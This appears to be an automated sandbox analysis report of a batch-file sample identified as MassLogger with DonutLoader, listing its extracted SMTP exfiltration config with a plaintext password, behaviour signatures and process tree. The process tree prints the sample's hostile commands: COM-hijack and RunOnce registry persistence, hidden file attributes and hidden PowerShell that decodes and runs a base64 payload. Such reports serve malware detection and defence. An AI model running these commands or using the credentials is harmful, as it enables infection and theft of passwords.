Analysis
- max time kernel
149s - max time network
125s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
23/04/2026, 00:52
General
- Target _88488520b70af36f83351803aab59debe6b031d34bd95a47276fbc040544c496.bat
- Size 145KB
- Sample260423-a73cbse18v
- SHA256 88488520b70af36f83351803aab59debe6b031d34bd95a47276fbc040544c496
Malware Config
Extracted
-
Protocol
smtp
-
Host
mail.taikei-rmc-co.biz
-
Port
587
-
Username
-
Password
dy8tm;jRtJO[:bG:
Extracted
-
masslogger
-
exfiltration_mode
#SMTPEnabled
-
expire_time_date
2025-12-17
-
host_password
dy8tm;jRtJO[:bG:
-
host_port
587
- host_receiver
- host_sender
-
host_server
mail.taikei-rmc-co.biz
-
ssl_slate
True
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Family: MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
- Detects DonutLoader 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Modifies registry class 6 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- outlook_office_path
- outlook_win_path
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_88488520b70af36f83351803aab59debe6b031d34bd95a47276fbc040544c496.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\_88488520b70af36f83351803aab59debe6b031d34bd95a47276fbc040544c496.bat"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Record.bat"4⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{9CE34EEC-2D5F-099A-E41D-82FD3579CE51}" /ve /t REG_SZ /d "System Shell Extension" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{9CE34EEC-2D5F-099A-E41D-82FD3579CE51}\InProcServer32" /ve /t REG_SZ /d "rundll32.exe" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{9CE34EEC-2D5F-099A-E41D-82FD3579CE51}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Injury" /t REG_SZ /d "cmd.exe /c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Record.bat\"" /f4⤵
- Adds Run key to start application
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -nop -w Hidden -ep Bypass -c "$d=Get-Content 'C:\Users\Admin\AppData\Local\Temp\EMOTION.tmp' -Raw;$d=$d-replace'`r',''-replace'`n','';[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($d))|Out-File 'C:\Users\Admin\AppData\Local\Temp\Earn.ps1' -Encoding UTF8"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -nop -w Hidden -ep Bypass -f "C:\Users\Admin\AppData\Local\Temp\Earn.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\03ziqddw\03ziqddw.cmdline"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESED4E.tmp" "c:\Users\Admin\AppData\Local\Temp\03ziqddw\CSCA8F7FA48207D4647A067C34F4B4F2F6C.TMP"6⤵
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
03ziqddw.dll
EMOTION.tmp
EMOTION.tmp
Earn.ps1
RESED4E.tmp
__PSScriptPolicyTest_hot3h4p0.cyg.ps1
Record.bat
03ziqddw.0.cs
03ziqddw.cmdline
CSCA8F7FA48207D4647A067C34F4B4F2F6C.TMP
memory/560-56-0x000001377C3B0000-0x000001377C3C0000-memory.dmp
memory/560-61-0x000001377C4C0000-0x000001377CC6E000-memory.dmp
memory/560-62-0x000001377C2C0000-0x000001377C2D2000-memory.dmp
memory/560-49-0x000001377C2F0000-0x000001377C312000-memory.dmp
memory/560-47-0x000001377C3B0000-0x000001377C3C0000-memory.dmp
memory/560-48-0x000001377C3B0000-0x000001377C3C0000-memory.dmp
memory/1612-86-0x0000028C85470000-0x0000028C85482000-memory.dmp
memory/1612-84-0x0000028C9DA50000-0x0000028C9DA58000-memory.dmp
memory/1612-85-0x0000028C9DAB0000-0x0000028C9E25E000-memory.dmp
memory/1612-91-0x0000028C9DAB0000-0x0000028C9E25E000-memory.dmp
memory/3144-87-0x0000000001540000-0x0000000001554000-memory.dmp
memory/3144-89-0x0000000004A10000-0x0000000004A2E000-memory.dmp
memory/3144-93-0x00000000059E0000-0x0000000005A30000-memory.dmp
memory/3144-94-0x000000000F660000-0x000000000F822000-memory.dmp